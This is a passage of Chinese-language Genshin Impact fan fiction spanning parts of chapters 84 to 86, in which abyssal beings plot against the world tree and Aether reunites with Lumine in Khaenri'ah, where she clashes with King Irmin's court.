“这是能够回溯到过去的怀表,你要是太累了就偷摸用我的回溯到过去歇会,记得不要跟过去的自己碰面就好——这种经由派蒙赐福地怀表一般不会给外包同事配备,不过如今须弥情况特殊,你先用着,等布耶尔回来再还给我。” 合着阿蒙天天不让人睡觉,自己还能回溯时间去休息,这家伙果然过分!阿佩普接过时间怀表,忿恨地想。 “……维尔金那个家伙不能管管他们俩吗?” “年假而已,维尔金大人不会理会这种小事。这段时间内你负责世界树和小枝桠就行,雨林和沙漠的政务,以及日常报告什么的就由我来做。” 娜布简单地划分好工作,打开了由尊敬的大慈树王倾情提供的工作指导手册,"世界树日常维护很简单的,基本就是除草修剪枯枝落叶这样的杂事,然后记得时刻记录好它的生长状态,如果发现了黑色的斑点及时上报给天空岛和对应国家的执政官就好,尘世七执政们会对自己国境内的一切可疑问题进行跟进处理。” “很简单的,你先跟着布耶尔的操作手册的流程来试试,我看看有没有什么问题。” 阿佩普认命地打开工作手册。 “每周向全体尘世执政官和天空岛同事,发送一次世界树异常报告,对异常状况进行排查……世界树这玩意能有什么异常?” 阿佩普用尾巴尖扒拉了一朵地脉之花过来:“我直接上传了?” “还是要巡查一下的。”娜布说道,“虽然世界树一般没什么事情,但只要一出事就是大事。” “啧,世界树那玩意随随便便出个毛病地表都能肉眼看到问题所在……” 阿佩普絮絮叨叨,但还是心口不一地剥开或是脆嫩或是茂密叶芽,认真地将落叶带离树杈,又将新芽从暗不见光的茂密叶子中扒拉出来。 阿佩普扒拉着缠绕在一起的枝条,心不在焉的想,好黏糊的触感…… 等等! 阿佩普回神,立马意识到这团枝条里面一定有问题。 她将这团枝条带到花神眼前,后者一直饱受禁忌知识的摧残,几乎是在阿佩普带下枝条团的瞬间就变了颜色。 ——世界树磅礴的生命力遮盖住了内里已然病变的繁枝。 “先不要碰,按操作流程来,先上报。”娜布拦住打算操控世界树解开禁锢住腐烂内里枝条的阿佩普,“这是链接了哪一国的枝条?快通知对应的执政官并抄送给天空岛!” “问题来了,娜布。” 阿佩普顺着枝条的延伸很快找到啦病灶的所在地,但翻遍了操作流程,直到娜布都快急得上手自己操作时,才用尾巴卷起操作流程,指着坎瑞亚那处格格不入的空白联系方式,问道: “如果是无神的国度出问题的话……我们要通知谁?” 花之女主人,娜布·玛莉卡塔。 复工第一天,发出了连古龙都难以抵御的尖锐爆鸣声。 第85章 第 85 章 哪个妹妹认不出来哥哥,…… 这一次, 似乎有些不太一样,空不确定地想。 不是冷冰冰如同事天钉的力量,也没有散发着如同深渊淤泥一般的腐臭。 松软的被窝为远行的旅人打造出舒适的归巢, 夹杂着面包与杜松子酒味道的熏香环绕在他的鼻息之间, 比起先前的几次幻境, 这个更加温暖, 更加令人沉醉。 但是空依旧没有睁开眼, 因为在黑暗之中,他仍能够感受到那股来自某物堪称灼热的视线。 比任何一次注视都要炽热,比任何一次都要充满期待,就连沉默都多了几分热烈的感情—— 就像是真的荧一样。 “哥哥,你终于醒了。” 空灵的女声在空的耳边响起。 ——好吧。结局依旧没有任何变化, 温暖的虚假无法构筑出血脉相连的血亲,而幻境的主人一昧地完善着妹妹的皮囊,却不知自己从一开始就已经被看破了伪装, 还在试图用荧的声音去欺骗他、蒙蔽他。 空不免有些失望。 期待幻境根据自己的反应进行进一步完善已经成为了空为数不多用以打发时间的乐趣之一。 从最初以为见到荧时的狂喜, 再到日复一日幕后者执拗不休的伪装游戏,空已经学会心平气和地接受一切,甚至不自觉的配合幻境主人的伪装。 就算是梦境里的荧也好。 若是清醒地等待时间的流转轮回, 从创世纪的元年一直等到他们二人携手降临在坎瑞亚的时代, 那也未免太过寂寞。 所以, 怎样都好。就算是想要利用妹妹去欺骗他, 空也只是沉默地闭上眼睛听着, 重置之后的她拿回了属于降临者的力量,时间将力量凝练提纯,直至成为堪比魔神的香醇美酒。 在长久的等待之中,维尔金不是没有邀请空一起前往天空岛等候时机, 但空婉拒了好友的邀请。 他已经承受不来任何无法带走妹妹的可能,哪怕是在他们初次降临的地点一直等待,他也心甘情愿。 看得见希望的倒计时总比漫无目的地找寻要好。 只可惜梦里产生的幻境似乎永远学不到妹妹灵魂的精髓,在空漫长却又已经无比久远的记忆中,荧可不是那种会乖巧坐在床边、用甜得发腻的声音深情呼唤她亲哥的人。 她那像小太阳一样的妹妹只会在察觉到自己装睡的时候,生气地把自己从温暖的被窝中掀起然后生气地给头槌给自己亲爱兄长的脑门來一暴栗,把他从虚假的梦境中中摇醒—— 差点忘了,这次的幻觉甚至还安排了温暖的被窝。 空没有理会那个假荧叫魂一样的呼唤,他甚至还有闲工夫历数这几次幻境的不同,而这一次幻境的构成显然丰富了一些舒适度——最早的时候,假妹妹叫魂可都是在阴冷得像地狱一样的洞窟中试图把他唤醒。 空艰难地翻了个身。 虚假妹妹的声音便戛然而止。 终于意识到自己的伪装又失败了吗?空乐观地想,希望幻境的主人就按这个方向继续完善妹妹的人设,他已经受够了睡在冰冷又暗无天日的石窟,听着一句被妆点雕刻好的人偶日复一日地叫着哥哥——尤其是有冰冷的石窟作对比,实在是渗人。 空悄悄半睁开眼,穹顶的石脉依旧遮天蔽日,昏暗无边的石质天空用以流明石点缀成星空。 远远看去,倒像是外界的夜空。 ——虽然是假的,但是看在温暖被窝,美丽的夜空和假妹妹甜美呼唤的份上,就干脆等它自己消散吧。 …… 明天要是幻境扮演的荧还是那么糟糕的话,干脆直接打碎吧。 空放空思维,任由意识陷入更加深层次的混沌。 现在还太早,他需要继续耐心地等待“空和荧”到来的时间节点…… 只不过…… 沉睡……果然很无聊啊。 伴随着一声长长的叹息以及降临者本人放空意识的沉睡,地下空间的更深处,有两个空无比熟悉、却从未见识过本体的存在盘踞在此。其中,伪装成荧的存在抖擞了身上的皮囊,表皮之下,涓流涌动。再抗造的污秽也禁不住一次又一次的失败,伪装成荧的伪物不得不承认,意自己一开口又暴露了身份,随着感知到空的沉眠,气急败坏得连这副精致的躯壳也懒得再维持,这副人类的身躯,迅速像是被融化的蜡油一样开始融化。 漆黑的内里从虚假的皮囊中滑出,失去支撑的虚伪表皮也随着深渊之力的支撑迅速枯萎腐败,在阴暗的巢穴中,宛若噩梦的情景在此展现——不知名的伪物褪去人类的皮囊,成为了一团粘稠的黑色液体,少女的身躯迅速腐烂,不过短短几分钟,美丽的少女就变成了散发着浓浓腐臭的一滩污浊,徒留着别在少女金色发丝的纯白之花静静地躺在暗无天日的地底。 “……我的演技有那么差劲吗,古斯托特?” 从皮囊中钻出来的深渊污泥——姑且这么称呼它吧。 它看向自己不为所动到甚至有些冷血的同僚,它们和生活在天空岛上沐浴着阳光的魔神们不同,它们无法光明正大地汲取地脉的力量,因而每一次行动与计划都需要精打细算、慎之又慎。而在事业明显有成同僚眼前丢脸和计划一直毫无进展的双重挫败感让它极其颓废。 ——毕竟自己的失败固然令人苦恼,但同类古斯托特的成功更加令人扭曲,尤其是古斯托特这个混蛋一直一来都瞧不起同源同生的深渊污泥那宛若在阴沟里爬的下贱手段。 被吵醒的古斯托特睁开紫罗兰色的兽瞳,翻了个白眼,就这起床气,它出言讥讽道:“做作的语言、矫情的扮演,以及因为不了解降临者造成的问题——一言以蔽之,全是破绽,整段垮掉。” 被打击得体无完肤的淤泥泄气般地瘫成一团,但它的同僚可不会因为它的屈服就偃旗息鼓,古斯托特继续毫不留情地输出: “早就说了让你别瞎模仿人家亲兄妹你不听。更何况……维尔金还告诉了他许多他不该知道的东西……我们的存在对他而言不是秘密,幻境这种东西只要被拆穿一次就没用了,更别说你还天天跟得打卡一样试来试去——我是降临者都想扇你,他只是装睡懒得搭理你属于他脾气好。” “……我可是根据他的记忆精心仿造出来、一针一线一笔一画做好的皮囊,就连台词我都是预演了无数遍才来用的!根本不是我演技的问题,是降临者自己的问题!!” 被当面指责出扮相不精的淤泥气急败坏:“有本事你来!!” “不了谢谢,我对女装扮演年轻小妹妹来诈骗男人的兴趣不大。” 古斯托特敬谢不敏,顺道再踩一脚:“跟你这种窝在阴暗角落我的伟大事业已经步入了下一阶段,现在没有空陪你玩过家家。在你沉迷这种无谓游戏的时候,维尔金已经苏醒,并亲自前往须弥视察,还把我留在娜布身上的的陈年小礼物给捏爆了……你明白这意味着什么吗?” 意味着什么? 深渊的污泥很少去揣摩天理及其维系者的用意,大部分时候,它都被打得抱头鼠窜,只有再暗无天日的地底,太阳所无法出击的潮湿洞穴,它才能放下心来勉强喘一口气。 而古斯托特和它不同,隐藏于幕后、又将侵蚀集中于精神空间,和深渊淤泥那样明晃晃的变异相比,禁忌知识的污染显得是那么地可控—— 但也只是表面现象罢了。 既然娜布身上的小把戏已经被解决,那该来的天钉还是得来—— 但是…… “他现在发现到哪一个环节?是仅限于发现我们俩的本质是相同?还是说我们在白夜国留下的后手被发现了?等等……这个时间点的话……维尔金该不会又打算彻查一遍坎瑞亚吧……” 本质是深渊污秽的存在越想越心惊胆战,赶快继续撺掇头脑灵活的同僚想办法:“别干抛出问题不解决问题啊!到底意味着什么?” 古斯托特挺直脖颈,大大方方地说道:“意味着所有人都觉得还是我比你强啊。” 深渊的污泥:哦。 “……我请问一下纠结这种问题的必要性在哪?” “你在质疑我,”古斯托特斜着眼,不满地注视着明明算得上是同源同宗、实力却弱小的不像样子的深渊污秽,冷笑一声,却还是以一种强者俯视弱者、师长教育小孩的姿态恨铁不成钢地说道: “与其在这里陪降临者玩过家家,还不如化悲痛为食欲,偷摸去世界树底部把树根刨出来啃干净。这样不仅能让胆敢小瞧你的维尔金对你高看一眼,还能获得把这个虚假世界掀翻的力量——” “虽然跟维尔金的本体相比较只能算是低配版,但对你而言……应该也不算太难吧?还是说,你连已经被我设下毒囊的世界树都不敢触碰吗?” 淤泥对于阴险同僚的激将法无动于衷。 敢于挑衅天理权威的存在早就成为了历史里的一抹尘埃,它是弱,但不蠢。 “不惜代价地大闹一场,逼迫他对这个破烂不堪的世界进行重置,最后就被他一拳攮死然后成为世界树的肥料是吧?不要以为我不知道,你之前对世界树动的手脚已经被阿佩普发现了——怎么,是想要我用命去污染世界树?” 古斯托特没有直接回答,而是继续加码:“反正重置的时候我还能拉你一把——法涅斯这次洗维尔金本体的时候,我不就拉住你了吗?既然已经有了成功的历史,哪怕失败重置,不过也只是再来一次而已,没什么大不了……再者,等待的时间越长,成功的果实便愈发甘美。” “继续僵持下去对我们而言没有任何意义。白夜国的人类又被洗干净记忆丢稻妻了,奥罗巴斯被维系者一吓又傻不隆冬地一头攒进巴尔的薙刀……还得是天空岛掌控力最弱的坎瑞亚,只有在那里我们的计划才有实现的可能……可现在,坎瑞亚应该被维系者重点盯梢——” 淤泥突然竖起身子,看向自己庞大且因为偷偷吸收了不少花神力量而身躯越发硕大的同僚。 “古斯托特。” “没话说就玩去吧,我在思考我的大计。还有没事别念我名字,渗得慌。” “我们放弃吧。” 为了养精蓄锐而始终把形态固定在龙类状态的古斯托特形态不自觉波动了几分。 “太晚了,没可能的。”古斯托特顿了顿,最终仍是平静地望向漆黑的穹顶。 ——原初的神明飞向蛋壳的顶部,将趴在蛋壳洁白外层的星空子民们的小小触手尽数烧光。 ——原初的神明又飞向蛋壳的底部,祂吃惊地看向从破壳处渗出来的紫黑色脓疮,又将脓疮剥下。 ——原初的神明给予了蛋壳属于原初之神的身躯,而星空子民和脓疮末苟且偷生的开端正是那煽动原初之神清除他们的蛋壳。 “明明我们三者的本质并无差别,星空子民们的触手啃食孕育自己的蛋壳成长,蛋壳碎裂的伤口处流出的脓疮是星空们最好的食粮,然后随着时间流转、万物进发,再度孕育出新一轮的「卵」……” 但是由于「卵」,也就是「维尔金」成为了「天理」,他们都被迫失去了继续前进的可能性。 古斯托特的眼眸中闪烁着愤怒的黑炎。 他们的本质是一样的,因此,哪怕是作为「天理」,维尔金所见到的法涅斯创造的世界也必定是肮脏的。他们体内流动着同样的力量,他只是在克制自己的本能,强迫自己为了一个死去的神明去守护自己并不爱的事务罢了—— 甚至为此违背吞噬的本能,长期为了节约力量而陷入沉眠。 “太难看了。”古斯托特缓缓道,“缺少血肉蕴养的所谓无人受伤的世界,只会比通过榨取死者而苟延残喘的世界枯竭地更快。” “可就算维尔金改变主意,意识到这个虚假的提瓦特没有什么维持重塑和忍耐的必要,我们还得担心维系者这个死女人——拥有临时最高权限的她照样可以利用降临者骸骨和世界树强制重置提瓦特,让我们辛辛苦苦的努力化为乌有——” 维系者才是淤泥最担心的存在。 为了节省力量,除了创世之初和尼伯龙根之战,维尔金都极少露面,真正维系天空岛并且依照规则维系提瓦特的神明,是维系者。 “在我有记忆的重置世界里,维尔金有回心转意、摒弃这一虚假世界的倾向——但都被维系者掐灭在萌芽之中。” 一直再暗中窥伺地脉波动的禁忌知识的化身如是说道。 邪眼从未离开过世界树粗壮的根须,而腐蚀世界树只是其中一角,同化这个容不下他们的世界,然后将世界变为属于他们的世界,才是他们漫长又庞大计划主干。 “我们终将重新聚合在一起,届时,无论是龙还是神,都无人可以与我们抗衡。既然你我都始终在不懈地去腐化解构这个世界,他必然也始终将维护这个虚假的幻境作为自己的生存的唯一理由。” 还是那句话,他们三者本质是相同的。 就算是处在对立面,古斯托特也很清楚,维尔金绝不会轻易舍弃法涅斯的遗产。 既然如此,那这场漫长的拉锯战,也将持续到某一方被彻底消灭为止。 “死亡不过是又一出无趣的既定序幕,沉溺于过往荣光的伟大种族已经凋零,哪怕有无知者依旧困于迷途不返,也无法阻碍我们所追求之物乃世界之外的遥远彼方——所以,耐心一点。世界的果实近在眼前,以此为前提,我们目前所做的一切绝非无用功。” 不管是地上也好地下也罢,深渊的力量仍然充斥着暂且还属于人类的提瓦特。 深渊的淤泥对此不报有希望:“我希望你说这话的前提是有好消息,不然的话我会默认你在发病。” “病?我们的确是病灶,但为何同为癌症,他却能享受荣光,理所应当地站在高处,不知所谓地去享受世间的吹捧,而知晓一切的我们又不得不屈从于他的淫威,活在天空岛密切的监视之下?” “发病了就去跟维尔金碰一碰,指不定死的时候血溅一地的时候可以趁他不注意毁掉地上的王国,或者你提着我们攒下来的力量去引爆坎瑞亚地脉?” 被反过来挑衅的古斯托特沉思半分:“我突然又想到了一个绝妙的爆炸点位,这次决定能连带着纳塔一起炸。说起这个,还有一个算不上是好消息的好消息——” “哦?你让坎瑞亚的地脉提早枯竭了?” 古斯托特没有否认,只是说道: “不过是让无形的大手提前触碰到脆弱的无神之国地脉罢了。” “而且这一次,高高在上的维系者,似乎决心给不敬神的人类们一个刻骨铭心的教训。” “真想当面感谢她。”深渊的淤泥不由得感叹,“那句话怎么说的来着?” “违背本能而建造的梦境,终究会因为本能的回归而破碎——因而最大的崩坏往往来源于内部?” 紫罗兰的眼睛闪烁着冰冷的瞳光,古斯托特接上: “届时,我们将以「提瓦特」为舟,以生命为燃料,驱使这座无主的方舟,驶向全新的世界——” “我们将畅饮人、神、魔的鲜血,享受被天空攫取的阳光和大地,将世界,变为我等阴沟蛆虫的囊中之物!!” 古斯托特将巨大的躯体缓缓潜入地脉,而随着这位深渊力量之源头的存在彻底将身躯融入黑暗,空气也骤然变得凝固起来。 “而在此之前……降临者和无神之国设下的暗桩……” “就是我们出奇制胜的关键!” 时间总是被长生种们所忽略。 在没有人类活动的提醒和同类的记录之前,大多数长生种们很容易睡过头。如果这位长生种有幸拥有一位短生种友人,那么最糟糕的可能就是,睡前约好了朋友一起聚一聚,而等到自己苏醒,却发现沧海桑田,友人早早地成为了一抔黄土。 空只觉得,自己才睡了五分钟。 或许甚至根本没有睡着,因为他发觉,幻境的声音再度出现在自己的耳边。 啧。 “快醒醒——” 又来了。 空眉头紧皱,这个幻境也未免太不知趣了。 “别睡了,快起来!” 还别说,这三分不耐、四份关心、余下两分急切和一分的撒娇还真有那感觉。 看在幻境扮演的假妹妹进步卓越的份上,空强撑着睁开眼,长久的黑暗迫使他在短暂地睁开眼之后又迅速闭紧双目。刺眼的白光在黑暗中留下赤红色的阴影,没有多想,更没打算看清楚眼前的人影,只想着尽快解决眼前幻境的空蓄力出拳—— 空暴起怒喝: “小贼安敢装我老妹,吃我一记降临者起床气版上勾拳——”!!! 外面又是一阵兵荒马乱。 惊呼声和抽气声此起彼伏,而手上真实过了头的触感,也让原本一肚子起床气的空开始感到不安—— 不,不会吧…… 原来一不留神居然过去这么久了吗? 尴尬的空心虚地把手背在身后。 坎瑞亚宫廷法师立马举起法器,警惕地看向这个从坎瑞亚地底挖出来的不知名存在。 “公主殿下!!!” “快,快来人!!公主殿下她被——” “够了,都给我出去。” 这个声音…… 空暗暗咽了口唾沫。 不会……真的是荧吧? 金色头发的少女用手背蹭干嘴角的血迹,对着身后方寸打乱的宫廷法师们吩咐: “不要透露,伊尔明那边,我会亲自处理。” 少女回过身,露出空无比熟悉的面庞: “好久不见,哥哥。” “荧……” 空不住的喃喃: “真的是你?” “你先不要乱动,快让我揍你一拳。” 荧揪住空的领子,故意抬手,想要看哥哥瑟缩的可怜兮兮的表情,可结果却令她迟迟无法落拳。 空不光没有躲,甚至连眼睛都没有眨一下。直到荧的拳头都已经逼近眼前,他还是一动不动。 “太好了,真的是你!” 空发自内心地感到高兴,哪怕妹妹的拳头已经跟他的脑袋亲密接触,他也仍然发自内心地笑出了声。 太好了。 是真实的、会生气、会撒娇、会骂他是笨蛋的荧。 空迫不及待地紧住荧的手。 激动的泪水模糊了空的视线,荧迟疑地看着情绪激动的兄长,惯用使剑的手上有一层薄薄的茧,触碰到空的眼角,泪水顺着手指径直流下,隐入荧的衣袖。 荧叹了口气:“虽然不知道梦里究竟发生了什么,但是——” “欢迎回来,哥哥。” ——一切的一切还尚未发生。 有维尔金的存在,维系者也肯定不会拦着他们离开。他们绝对不会重蹈覆辙。 而只要能够离开提瓦特,他们就能够继续在漫长的时光中消磨曾经失去彼此的痛苦,用全新的记忆填补在提瓦特血亲分离的空虚。 更加重要的一点是,直觉告诉空,提瓦特的问题绝非一次重置能够全部解决。 深渊的污秽和禁忌知识究竟从何而来?还有从维系者口中所透露出的关于降临者也会逐渐被同化为提瓦特本地人的重要讯息都让空的脑海疯狂拉响警报声。 为了以防万一,他们必须现在就走。 空:“荧,跟我一起离开这个世界吧。” “哥哥,你醒来得比我预计得要早不少。” 出乎空的意料,荧既没有询问他为什么突然急着要离开,也没有对兄长如今诡异的脑回路和莫名充沛的力量有任何疑问。 荧只是叹了口气。 她笑了笑,对眼睛中闪烁着期待星光的兄长说道: “我走不了了,哥哥。” 空的笑容戛然而止。 “你在说什么啊?”空又一次伸出手,试图紧紧握住妹妹的手,荧却连退几步,将自己的身体全然藏匿至帷幔下的阴影中。 她别过头,似乎是不想让空看见自己的表情,只是强忍着内心地激动,强装镇定道: “准确地来说,我是深渊公主荧,而不是降临者荧。” “无论是什么身份,荧,你永远是我的妹妹——”空急切地说道,他无心理会这其中的差别,只是走上前,试图将荧带离阴影,试图用他一直以来安慰妹妹的方式将明显有些不对劲的荧带离提瓦特“有哥哥在,没有什么好怕的,不管是深渊公主也好,降临者也罢,你都是荧,都是我的妹妹!这没有区别,你只是被骗了——我现在就带你离开提瓦特。” 荧后退半步,摇了摇头。 “抱歉,哥哥。坎瑞亚需要我。” “坎瑞亚不需要你!” 空发誓,他从来没有这么记恨过这个一直盘桓在他记忆之中的无神之国,“回到我的身边来,荧!我们一起离开,一起去新的地方,一起前往更加美好的世界!” 她从阴影中走出,却不是为了兄长伸出的手,而是看向空身后打开的门户。 空顺着荧的视线向自己身后看去。 ——就是现在! 不愿亲口直接拒绝兄长,也不愿意就此离开的荧趁着空暴露了后背,一个手刀,将空敲晕。 战斗的本能让空及时回过身,可来自血亲的反戈一击让他震惊地瞪大双眼。 荧颤抖着手。 她知道,这一定是哥哥。 那不是深渊的化身。那是自己唯一的哥哥。 …… 荧抬头,看向不请自来的独眼王者和显然是去通风报信的宫廷法师。眼睫之下,是少女暗沉的眸子。 “伊尔明,我能处理。” 油嘴滑舌的宫廷法师期期艾艾:“尊敬的公主殿下,我原以为您能够将这个自遥远的鸽子衔枝之年伊始就被封印于地底的存在同与自己相伴相行的兄长区别开——” 荧保持着沉默,看向伊尔明。 “无碍,公主殿下,您的臣民不会责怪于您的识人不清……”独目的王者微微欠身,像是谏臣一般,对被蒙蔽的国君发自内心地劝诫道: “还请务必不要听信深渊的谗言。” “自我们发现伪装成您兄长的伪物伊始,坎瑞亚的土地上,粮食大规模歉收、土壤失肥异常……就算退一万步,他是您的兄长,同样是能够驱使深渊、净化深渊的尊贵殿下……” 伊尔明刻意留给少女足够的时间遐想。 末了,临走前,他留下更加耐人深思的话语: “还请不要忘记,地脉的秘密由天空的诸神把控,而这位空殿下困于地脉太久……我向来不惮以最恶毒的思想去揣测与我们格格不入的邻居们……作为提瓦特中唯一一个人治而并非由神明治理的国度,我们的存在始终是天空岛的眼中钉、肉中刺。” 第86章 第 86 章 地脉之花:我开了,我缩…… “伊尔明, 到此为止吧,哥哥很累,还请大家先散了吧。” 无神之国君主喋喋不休的质疑和暗戳戳拉踩被少女打断, 金箔般的眸子扫视眼前的乌合之众, 荧试图将这群围在空面前、还在不停挑拨离间的家伙们好声好气地劝走, 但可惜, 不撞南墙不回头的宫廷法师们不愿意顺着少女好脾气递上的台阶走下去, 还在叽叽喳喳地说些搬弄是非的恶毒话。 一股无名的怒火从胸膛中涌起,余光瞥见透过自己死死盯住哥哥的无神之国君王,降降点燃的星火又被其主人火速扑灭—— 还没到时候。 现在不是翻脸的时候。 荧深深吸了一口气,闭上眼。 再睁开眼,愤怒的火炎已然尽数埋藏于眼底, 同哥哥失散的日子里,直来直去的少女也不得不按捺住性子,同这帮家伙虚与委蛇。她扫视一圈, 冰冷的目光如同冰水, 浇得为首的几个话多的贵族们讪讪闭嘴。荧冷哼一声,又将目光移向那个比起说是侍奉自己、更像是监视他们一举一动的宫廷法师。 后者比贵族们更加自傲、更加不识时务。哪怕感受到了来自公主殿下的怒火,也依旧自恃为“劝诫公主殿下以免误入歧途”, 甚至音调也高上了几分。 “公主殿下, 万万不可轻信天空岛的计谋。” ——这帮神经病, 从地底深渊遗迹挖出来哥哥也能拐到天空岛身上。 “公主殿下, 您冷静下来想想, 这么多年来我们都苦苦寻找您的兄长未果,怎么会这么巧,偏偏在坎瑞亚的土地被高高在上的神明诅咒、不得不寄希望于深渊的伟力扭转局势的时候,在如此敏感的时间、如此暧昧的地点发现您的兄长?” ——这个倒是有一点逻辑, 这可惜完全是生搬硬套。 作为提瓦特世界的降临者、比这帮宫廷法师的岁数加起来都还要大上不少、常年遨游于各个世界的旅行者,荧比他们更能够看清楚这片无神之国土上发生的问题。 并不是他们所自以为的诅咒,就是非常单纯的土地失肥而已。 自打发现这一点后,无论坎瑞亚人在她耳朵边再怎么大肆渲染天空岛和尘世七执政的“自私、可怕、凶残、无情”,荧都以饱满的精神状态对他们说的每一个字左耳朵进右耳多出。 平时以救命恩人自居,她卖个乖也就算了,没想到这群家伙分不清好赖,还自以为自己真是个人物,连她的血亲也敢指指点点。荧面色不善,这些愚昧的宫廷法师们居然会以为搬来伊尔明,就能够在他面前自持恩情、仗着人多向她施压…… 真不知道他们脑子里是不是长满了薄荷。 宫廷法师们满意地看着公主殿下乖巧地低下头,以为自己已经拿捏住了这对兄妹,终于停下了无止境的劝说,为首的宫廷法师高高昂起头颅,像一只斗胜的公鸡一样,居高临下道: “公主殿下意下如何?” 荧抬头,看向自从自己递了台阶就不再言语的君王,意有所指道:“归根到底,我们之间只是合作关系,彼此之间还是保持一些分寸更好。” 荧扫视一圈,最终将视线定格在那个出头鸟身上,跟蠢人说话就是费劲,既然他们的国王乐意把这些宫廷法师当做试探她的工具,荧也毫不客气,一脚踢向刚刚叫得最欢最热闹的宫廷法师。 惊呼声此起彼伏,好像她做了一件多么不可饶恕的事情一样。 伊尔明看上去也同样感到意外——烦死了。 荧眉头微微蹙起,这也是她不喜欢跟坎瑞亚的贵族法师们相处的原因之一。自以为运筹帷幄,好像所有事情都在他们掌握范围之内,尤其是故意装成一副这种被背叛了的神情,好像全提瓦特每一个人都欠了他们八百亿摩拉——可归根到底,坎瑞亚只是一个不断在咒骂着造物主的人类国度而已。实力还很一般,甚至连所谓的诅咒本质上是力量的流失也看不清。 被勾起怒火的荧难得把话说得如此直白:“我们兄妹二人之间的事情自己处理,用不着坎瑞亚的大家劳心费力,而你们到底想用深渊力量来做什么也与我无关,别多管闲事可以吗?” 君王尚未言语,他身边的弄臣迫不及待地出来当出头鸟:“公主殿下,万万不能小瞧天空岛分化人心的本事啊!除了坎瑞亚之外的其余诸国已经甘愿向天空俯首称臣,全然遗忘祂向大地施加的痛苦和哀伤,唯有我等……” “好了,自卖自夸的话少说。”荧嘴角微微勾起,像是想到了有趣的事情,嘲讽道:“如果天空岛真的恨不得将你们除之而后快,那坎瑞亚为什么直到今天还没有被从历史上抹去?说到底,整个国家的实力也就那样吧?又弱,又吵,还很不识时务,要是天空岛真想毁灭无神之国,将提瓦特变成有神之国的乐土,你们早没了。” “……” 这话又说得太难听了。不光是宫廷法师们,原本还显得有些拥挤的空间都因为荧一点面子都不给的发言骤然安静下来。 一时之间,就连空气都变得凝固。 今天,贵族和宫廷法师们终于惊奇的发现,这位从天而降的殿下并不如他们想象的那般对这个世界一无所知,而他们刻意制造的信息茧房也并未能够困住她。事情的发展超出了他们的设想,碍于脆弱的窗户纸被捅破,方才还气焰嚣张不可一世的宫廷法师们只能够大眼瞪小眼,等待他们的王发话。 荧无所谓宫廷法师们的回答,也无所谓于伊尔明的态度。她只想让坎瑞亚内部心思各异的王族和法师们都消停点,不要破坏他们兄妹之间宝贵的重逢时光。眼见效果达成,这些眼睛长在头顶的宫廷法师们终于晓得何为分寸,也不再多言,径直越过一众宫廷法师,友好点头后,开门送客:“我不在乎坎瑞亚的真实意图,你们也别插手我的私事,非常公平。按照约定,我依旧会配合各位继续研究深渊力量的转换装置,不过一旦被我发现——” 荧歪了歪头,面无表情地警告道:“你们可以尝试一下,我自认为我的实力还算可以。” 他身后的一众宫廷法师更是不如他们的统治者沉得住气,尤其是通风报信的那位,脸色肉眼可见地难看起来。他先是悄悄瞄了一眼除了刚开始说了几句之后再也没有出声过的伊尔明,又看着眼前过于嚣张的荧,忍不住出言,愤愤不平道:“要不是我们没日没夜地在远古遗迹里……” “够了,公主殿下言之有理。我么的确应该彼此保留一些余地。” 伊尔明等的就是一个不识趣的家伙出言挑衅,只有这样,他才能把这场毫无意义的争端掐断。 无神之国的君主神色晦暗不明,而戳破了虚幻表面的降临者毫不在意,对于前者做作的掩饰,也不再如之前那样地给面子,有几个耳朵好使的宫廷法师甚至听到了一声夹着嘲讽的气音。 各怀心思的两方已经彻底暴露了自己在交易中潜藏的陷阱,大家都懒得装了。伊尔明此时也真正意识到,年轻的降临者并不如看上去的那般好骗,他们也并非对坎瑞亚一无所知。 作为抽取并转化深渊力量的泵,对其兄长的立场存在显而易见的偏袒——对坎瑞亚、尤其是对于缺少可靠能源的坎瑞亚而言,并不是一个好消息。 透过荧,伊尔明深深望着她身后那位刚刚被妹妹敲晕的兄长。 独眼的王者借以窥见真实的独目能清楚地看见,那位被荧称之为兄长、从距离深渊最近的洞窟中被挖出的“人”,早已经苏醒。同少女几乎一模一样的眼眸正冷冰冰地盯着他。 少年开口,轻轻吐出几个字—— 似乎是…… 维、尔、金? 伊尔明默读到一半回过神,急忙中断了自己在脑海中默念天空岛之主名字的可怖行径。 这一对兄妹……不管是在隐藏自己的来历还是留后手这一方面,真是出乎意料地一致。 试探完全失败,原先计划的人质方案也没机会实行了。 “兄长”的身上藏着比“妹妹”更多地秘密,并且这个秘密,很有可能招致天空岛的目光。 在彻底掌握深渊中潜藏的力量之前,坎瑞亚赌不起。 伊尔明摆了摆手,示意宫廷法师们尽数离开。 既然那个从深渊冒出来的存在打算继续维持着虚假脆弱的关系,不管是单纯为了安抚公主殿下,亦或是为了坎瑞亚,他都没有继续纠缠的理由。 “……坎瑞亚的诚意毋庸置疑,既然公主殿下心里已经有了打算,我们当然不会多加干涉。只是公主殿下,我必须要提醒您——” 独眼的王者透过自己仅剩的独眼,意味深长道: “天空岛对不归顺于他们的存在,总是格外残忍。” 荧连基本的寒暄都懒得招呼:“慢走不送。” 话还没能从空中落到地上,门扉已经完全合上,拥挤的房间骤然空旷,偌大的空间只剩下兄妹二人。 坎瑞亚人都走了? 空悄悄咪咪睁开眼睛,正巧同低下头的荧面面相觑。 荧:…… 荧一把揪住亲哥哥的领子,把他从柔软的床铺上揪出,一边碎碎念:“你就好,两眼一闭当场昏厥,留你家柔弱无助、妹妹一个人面对成群大汉,你的良心不会痛吗!!” 空果断滑跪道歉:“对不起我错了,这不是怕我醒着影响你的发挥。而且是你动的手啊……” 荧双手叉腰,勉强接受了哥哥的低头,然后又给坎瑞亚出品的可怜门扉一脚,“砰”一声,随着外面稀稀梭梭的声音远去,暗地窥伺的目光统统被物理阻拦,整个空间才终于安静下来。 荧转过身,余光瞥向窗弦,人造的白色灯光顺着半透明的彩窗打入房间,直直映射在地板。 空走到床边,掌心紧紧贴住墙面,外面的呼吸声有些过早—— “不过后勤方面……要解决掉吗?” 荧瞥了眼紧闭的房门,给自己许久未见的兄长一个肘击,摇了摇头: “没有关系,不用管他们……他们不会动手,坎瑞亚人在天空岛有关的一切事情上都有些神经过头了。” 作为一个与其他国家截然不同的异类,生活在这片大陆腹地的坎瑞亚人总是紧绷着神经,满怀警惕地竖起尖刺,试图向周边每一个有可能威胁到国家的敌人们统统阻挡在外。 造物主不知缘由的偏爱以及格格不入的建国体系让这座本就缺失顶尖战力的国家诞生了更加畸形的观念—— 在一个到处充满神明的世界,拒绝相信神明的力量,却又陷入了尴尬两难得境地,走上了一条以人之力探寻被神明封印起来的力量的道路。 